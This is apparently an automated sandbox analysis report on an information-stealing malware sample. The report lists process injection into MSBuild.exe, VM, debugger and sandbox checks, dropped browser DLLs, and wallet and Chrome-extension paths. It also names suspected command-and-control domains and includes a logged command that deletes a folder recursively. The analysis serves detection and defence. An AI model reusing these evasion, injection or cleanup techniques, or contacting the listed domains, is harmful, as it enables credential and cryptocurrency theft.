Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Yara detected AntiVM3

Source: Yara match	File source: 0.2.T2bmenoX1o.exe.db0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.T2bmenoX1o.exe.dddad8.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.T2bmenoX1o.exe.dddad8.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.MSBuild.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.MSBuild.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000001.00000002.2226316788.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1811230468.0000000000DDD000.00000004.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: T2bmenoX1o.exe PID: 7284, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: MSBuild.exe PID: 7300, type: MEMORYSTR

Country aware sample found (crashes after keyboard check)

Source: c:\users\user\desktop\t2bmenox1o.exe

Event Logs and Signature results: Application crash and keyboard check

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Source: T2bmenoX1o.exe, MSBuild.exe	Binary or memory string: DIR_WATCH.DLL
Source: MSBuild.exe, 00000001.00000002.2226316788.0000000000400000.00000040.00000400.00020000.00000000.sdmp	Binary or memory string: INMPM20IXQUGN9:-?5(\C!7%{->^WALLET_PATHSOFTWARE\MONERO-PROJECT\MONERO-CORE.KEYS\MONERO\WALLET.KEYS\\\.\\...\\\\\\\\\\\\HAL9THJOHNDOEDISPLAYAVGHOOKX.DLLAVGHOOKA.DLLSNXHK.DLLSBIEDLL.DLLAPI_LOG.DLLDIR_WATCH.DLLPSTOREC.DLLVMCHECK.DLLWPESPY.DLLCMDVRT32.DLLCMDVRT64.DLL20:41:3120:41:3120:41:3120:41:3120:41:3120:41:31DELAYS.TMP%S%SNTDLL.DLL
Source: T2bmenoX1o.exe, MSBuild.exe	Binary or memory string: SBIEDLL.DLL
Source: T2bmenoX1o.exe, MSBuild.exe	Binary or memory string: API_LOG.DLL

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Code function: OpenInputDesktop,SetThreadDesktop,GetCursorPos,GetCursorPos,Sleep,Sleep,GetCursorPos,Sleep,Sleep,GetCursorPos,

1_2_0040180D

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Dropped PE file which has not been started: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\nss3[1].dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\mozglue[1].dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\msvcp140[1].dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\vcruntime140[1].dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Dropped PE file which has not been started: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\softokn3[1].dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\freebl3[1].dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\sql[1].dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Dropped PE file which has not been started: C:\ProgramData\softokn3.dll	Jump to dropped file

Source: C:\Users\user\Desktop\T2bmenoX1o.exe	API coverage: 4.0 %
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	API coverage: 7.9 %
Source: C:\ProgramData\AAFIIJDAAA.exe	API coverage: 4.2 %

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 8016	Thread sleep time: -60000s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 8028	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\timeout.exe TID: 8176	Thread sleep count: 85 > 30	Jump to behavior

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Code function: 1_2_00410DB0 GetKeyboardLayoutList followed by cmp: cmp eax, ebx and CTI: jbe 00410EC3h

1_2_00410DB0

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

File Volume queried: C:\ FullSizeInformation

Jump to behavior

Source: C:\Users\user\Desktop\T2bmenoX1o.exe	Code function: 0_2_00DC9ABF FindFirstFileExW,	0_2_00DC9ABF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_00416013 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	1_2_00416013
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_0041547D wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,FindNextFileA,FindClose,	1_2_0041547D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_00409CF1 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,StrCmpCA,DeleteFileA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	1_2_00409CF1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_00414D08 wsprintfA,FindFirstFileA,_memset,_memset,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,_memset,lstrcatA,strtok_s,strtok_s,_memset,lstrcatA,strtok_s,PathMatchSpecA,DeleteFileA,CopyFileA,__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z,DeleteFileA,strtok_s,strtok_s,FindNextFileA,FindClose,	1_2_00414D08
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_00401D80 FindFirstFileA,StrCmpCA,StrCmpCA,FindFirstFileA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	1_2_00401D80
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_0040D59B FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	1_2_0040D59B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_0040B5B4 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose,	1_2_0040B5B4
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_0040BF22 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,	1_2_0040BF22
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_0040B914 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	1_2_0040B914
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_00415B4D GetProcessHeap,HeapAlloc,wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,lstrcatA,lstrcatA,lstrlenA,lstrlenA,	1_2_00415B4D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_0040CD0C wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrlenA,DeleteFileA,CopyFileA,FindNextFileA,FindClose,	1_2_0040CD0C
Source: C:\ProgramData\AAFIIJDAAA.exe	Code function: 8_2_001C9ABF FindFirstFileExW,	8_2_001C9ABF

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Code function: 1_2_00415182 GetLogicalDriveStringsA,_memset,GetDriveTypeA,lstrcpyA,lstrcpyA,lstrcpyA,lstrlenA,

1_2_00415182

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Code function: 1_2_00410F8F GetSystemInfo,wsprintfA,

1_2_00410F8F

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior

Source: Amcache.hve.4.dr	Binary or memory string: VMware
Source: MSBuild.exe, 00000001.00000002.2227078403.0000000001216000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWw
Source: Amcache.hve.4.dr	Binary or memory string: VMware Virtual USB Mouse
Source: Amcache.hve.4.dr	Binary or memory string: vmci.syshbin
Source: Amcache.hve.4.dr	Binary or memory string: VMware, Inc.
Source: MSBuild.exe, 00000009.00000002.2216781239.0000000000AFC000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW\T
Source: Amcache.hve.4.dr	Binary or memory string: VMware20,1hbin@
Source: Amcache.hve.4.dr	Binary or memory string: c:\windows\system32\driverstore\filerepository\vmci.inf_amd64_68ed49469341f563
Source: Amcache.hve.4.dr	Binary or memory string: Ascsi/cdrom&ven_necvmwar&prod_vmware_sata_cd00/4&224f42ef&0&000000
Source: Amcache.hve.4.dr	Binary or memory string: .Z$c:/windows/system32/drivers/vmci.sys
Source: MSBuild.exe, 00000001.00000002.2227078403.00000000011E5000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2227078403.0000000001216000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000009.00000002.2217098930.0000000000B51000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000009.00000002.2216781239.0000000000AFC000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: Amcache.hve.4.dr	Binary or memory string: :scsi/disk&ven_vmware&prod_virtual_disk/4&1656f219&0&000000
Source: MSBuild.exe, 00000001.00000002.2227078403.00000000011B8000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware-
Source: Amcache.hve.4.dr	Binary or memory string: pci\ven_15ad&dev_0740&subsys_074015ad,pci\ven_15ad&dev_0740,root\vmwvmcihostdev
Source: Amcache.hve.4.dr	Binary or memory string: c:/windows/system32/drivers/vmci.sys
Source: Amcache.hve.4.dr	Binary or memory string: scsi/cdrom&ven_necvmwar&prod_vmware_sata_cd00/4&224f42ef&0&000000
Source: Amcache.hve.4.dr	Binary or memory string: vmci.sys
Source: Amcache.hve.4.dr	Binary or memory string: VMware-56 4d 43 71 48 15 3d ed-ae e6 c7 5a ec d9 3b f0
Source: MSBuild.exe, 00000001.00000002.2227078403.00000000011E5000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: Amcache.hve.4.dr	Binary or memory string: vmci.syshbin`
Source: Amcache.hve.4.dr	Binary or memory string: \driver\vmci,\driver\pci
Source: Amcache.hve.4.dr	Binary or memory string: scsi/disk&ven_vmware&prod_virtual_disk/4&1656f219&0&000000
Source: Amcache.hve.4.dr	Binary or memory string: VMware20,1
Source: Amcache.hve.4.dr	Binary or memory string: Microsoft Hyper-V Generation Counter
Source: Amcache.hve.4.dr	Binary or memory string: NECVMWar VMware SATA CD00
Source: Amcache.hve.4.dr	Binary or memory string: VMware Virtual disk SCSI Disk Device
Source: MSBuild.exe, 00000001.00000002.2227078403.00000000011B8000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware
Source: Amcache.hve.4.dr	Binary or memory string: scsi\cdromnecvmwarvmware_sata_cd001.00,scsi\cdromnecvmwarvmware_sata_cd00,scsi\cdromnecvmwar,scsi\necvmwarvmware_sata_cd001,necvmwarvmware_sata_cd001,gencdrom
Source: Amcache.hve.4.dr	Binary or memory string: scsi\diskvmware__virtual_disk____2.0_,scsi\diskvmware__virtual_disk____,scsi\diskvmware__,scsi\vmware__virtual_disk____2,vmware__virtual_disk____2,gendisk
Source: Amcache.hve.4.dr	Binary or memory string: Microsoft Hyper-V Virtualization Infrastructure Driver
Source: Amcache.hve.4.dr	Binary or memory string: VMware PCI VMCI Bus Device
Source: Amcache.hve.4.dr	Binary or memory string: VMware VMCI Bus Device
Source: Amcache.hve.4.dr	Binary or memory string: VMware Virtual RAM
Source: Amcache.hve.4.dr	Binary or memory string: BiosVendor:VMware, Inc.,BiosVersion:VMW201.00V.20829224.B64.2211211842,BiosReleaseDate:11/21/2022,BiosMajorRelease:0xff,BiosMinorRelease:0xff,SystemManufacturer:VMware, Inc.,SystemProduct:VMware20,1,SystemFamily:,SystemSKUNumber:,BaseboardManufacturer:,BaseboardProduct:,BaseboardVersion:,EnclosureType:0x1
Source: Amcache.hve.4.dr	Binary or memory string: vmci.inf_amd64_68ed49469341f563

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	API call chain: ExitProcess graph end node	graph_1-82126
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	API call chain: ExitProcess graph end node	graph_1-82142
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	API call chain: ExitProcess graph end node	graph_1-83471

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Desktop\T2bmenoX1o.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\T2bmenoX1o.exe	Process queried: DebugPort	Jump to behavior
Source: C:\ProgramData\AAFIIJDAAA.exe	Process queried: DebugPort	Jump to behavior
Source: C:\ProgramData\AAFIIJDAAA.exe	Process queried: DebugPort	Jump to behavior

Source: C:\Users\user\Desktop\T2bmenoX1o.exe

Code function: 0_2_00DB7922 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

0_2_00DB7922

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

1_2_00418ADE

Source: C:\Users\user\Desktop\T2bmenoX1o.exe	Code function: 0_2_00DB2003 mov edi, dword ptr fs:[00000030h]	0_2_00DB2003
Source: C:\Users\user\Desktop\T2bmenoX1o.exe	Code function: 0_2_00DDE385 mov eax, dword ptr fs:[00000030h]	0_2_00DDE385
Source: C:\Users\user\Desktop\T2bmenoX1o.exe	Code function: 0_2_00DDE37A mov eax, dword ptr fs:[00000030h]	0_2_00DDE37A
Source: C:\Users\user\Desktop\T2bmenoX1o.exe	Code function: 0_2_00DDE362 mov eax, dword ptr fs:[00000030h]	0_2_00DDE362
Source: C:\Users\user\Desktop\T2bmenoX1o.exe	Code function: 0_2_00DF55FE mov eax, dword ptr fs:[00000030h]	0_2_00DF55FE
Source: C:\Users\user\Desktop\T2bmenoX1o.exe	Code function: 0_2_00DCA64C mov eax, dword ptr fs:[00000030h]	0_2_00DCA64C
Source: C:\Users\user\Desktop\T2bmenoX1o.exe	Code function: 0_2_00DC0F2E mov ecx, dword ptr fs:[00000030h]	0_2_00DC0F2E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_004014AD mov eax, dword ptr fs:[00000030h]	1_2_004014AD
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_0040148A mov eax, dword ptr fs:[00000030h]	1_2_0040148A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_004014A2 mov eax, dword ptr fs:[00000030h]	1_2_004014A2
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_00418725 mov eax, dword ptr fs:[00000030h]	1_2_00418725
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_00418726 mov eax, dword ptr fs:[00000030h]	1_2_00418726
Source: C:\ProgramData\AAFIIJDAAA.exe	Code function: 8_2_001B2003 mov edi, dword ptr fs:[00000030h]	8_2_001B2003
Source: C:\ProgramData\AAFIIJDAAA.exe	Code function: 8_2_001CA64C mov eax, dword ptr fs:[00000030h]	8_2_001CA64C
Source: C:\ProgramData\AAFIIJDAAA.exe	Code function: 8_2_001C0F2E mov ecx, dword ptr fs:[00000030h]	8_2_001C0F2E

Source: C:\Users\user\Desktop\T2bmenoX1o.exe

Code function: 0_2_00DCCC4B GetProcessHeap,

0_2_00DCCC4B

Source: C:\Users\user\Desktop\T2bmenoX1o.exe	Code function: 0_2_00DB7610 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	0_2_00DB7610
Source: C:\Users\user\Desktop\T2bmenoX1o.exe	Code function: 0_2_00DB7922 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_00DB7922
Source: C:\Users\user\Desktop\T2bmenoX1o.exe	Code function: 0_2_00DB7AAF SetUnhandledExceptionFilter,	0_2_00DB7AAF
Source: C:\Users\user\Desktop\T2bmenoX1o.exe	Code function: 0_2_00DBDA73 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_00DBDA73
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_0041D1A8 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	1_2_0041D1A8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_0041DB1C _memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	1_2_0041DB1C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_004277BE SetUnhandledExceptionFilter,	1_2_004277BE
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6CB8B66C SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	1_2_6CB8B66C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6CB8B1F7 IsProcessorFeaturePresent,memset,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	1_2_6CB8B1F7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6CD3AC62 IsProcessorFeaturePresent,memset,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	1_2_6CD3AC62
Source: C:\ProgramData\AAFIIJDAAA.exe	Code function: 8_2_001B7610 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	8_2_001B7610
Source: C:\ProgramData\AAFIIJDAAA.exe	Code function: 8_2_001B7922 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	8_2_001B7922
Source: C:\ProgramData\AAFIIJDAAA.exe	Code function: 8_2_001BDA73 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	8_2_001BDA73
Source: C:\ProgramData\AAFIIJDAAA.exe	Code function: 8_2_001B7AAF SetUnhandledExceptionFilter,	8_2_001B7AAF

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match	File source: Process Memory Space: T2bmenoX1o.exe PID: 7284, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: MSBuild.exe PID: 7300, type: MEMORYSTR

Allocates memory in foreign processes

Source: C:\Users\user\Desktop\T2bmenoX1o.exe	Memory allocated: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 400000 protect: page execute and read and write			Jump to behavior
Source: C:\ProgramData\AAFIIJDAAA.exe	Memory allocated: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 400000 protect: page execute and read and write			Jump to behavior

Contains functionality to inject code into remote processes

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Code function: 1_2_0040F51F _memset,CreateProcessA,VirtualAlloc,GetThreadContext,ReadProcessMemory,VirtualAllocEx,ResumeThread,WriteProcessMemory,WriteProcessMemory,WriteProcessMemory,WriteProcessMemory,SetThreadContext,ResumeThread,

1_2_0040F51F

Injects a PE file into a foreign processes

Source: C:\Users\user\Desktop\T2bmenoX1o.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 400000 value starts with: 4D5A			Jump to behavior
Source: C:\ProgramData\AAFIIJDAAA.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 400000 value starts with: 4D5A			Jump to behavior

LummaC encrypted strings found

Source: AAFIIJDAAA.exe	String found in binary or memory: isoplethui.sbs
Source: AAFIIJDAAA.exe	String found in binary or memory: frizzettei.sbs
Source: AAFIIJDAAA.exe	String found in binary or memory: exemplarou.sbs
Source: AAFIIJDAAA.exe	String found in binary or memory: wickedneatr.sbs
Source: AAFIIJDAAA.exe	String found in binary or memory: invinjurhey.sbs
Source: AAFIIJDAAA.exe	String found in binary or memory: laddyirekyi.sbs
Source: AAFIIJDAAA.exe	String found in binary or memory: exilepolsiy.sbs
Source: AAFIIJDAAA.exe	String found in binary or memory: bemuzzeki.sbs

Searches for specific processes (likely to inject)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_0041247D __EH_prolog3_catch_GS,CreateToolhelp32Snapshot,Process32First,Process32Next,StrCmpCA,CloseHandle,		1_2_0041247D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_00412554 __EH_prolog3_catch_GS,CreateToolhelp32Snapshot,Process32First,Process32Next,StrCmpCA,CloseHandle,		1_2_00412554

Writes to foreign memory regions

Source: C:\Users\user\Desktop\T2bmenoX1o.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 400000	Jump to behavior
Source: C:\Users\user\Desktop\T2bmenoX1o.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 401000	Jump to behavior
Source: C:\Users\user\Desktop\T2bmenoX1o.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 430000	Jump to behavior
Source: C:\Users\user\Desktop\T2bmenoX1o.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 43D000	Jump to behavior
Source: C:\Users\user\Desktop\T2bmenoX1o.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 670000	Jump to behavior
Source: C:\Users\user\Desktop\T2bmenoX1o.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 671000	Jump to behavior
Source: C:\Users\user\Desktop\T2bmenoX1o.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: F03008	Jump to behavior
Source: C:\ProgramData\AAFIIJDAAA.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 400000	Jump to behavior
Source: C:\ProgramData\AAFIIJDAAA.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 401000	Jump to behavior
Source: C:\ProgramData\AAFIIJDAAA.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 44B000	Jump to behavior
Source: C:\ProgramData\AAFIIJDAAA.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 44E000	Jump to behavior
Source: C:\ProgramData\AAFIIJDAAA.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 45E000	Jump to behavior
Source: C:\ProgramData\AAFIIJDAAA.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 904008	Jump to behavior

Source: C:\Users\user\Desktop\T2bmenoX1o.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process created: C:\ProgramData\AAFIIJDAAA.exe "C:\ProgramData\AAFIIJDAAA.exe"	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c timeout /t 10 & rd /s /q "C:\ProgramData\KJKFBAFIDAEB" & exit	Jump to behavior
Source: C:\ProgramData\AAFIIJDAAA.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\timeout.exe timeout /t 10	Jump to behavior

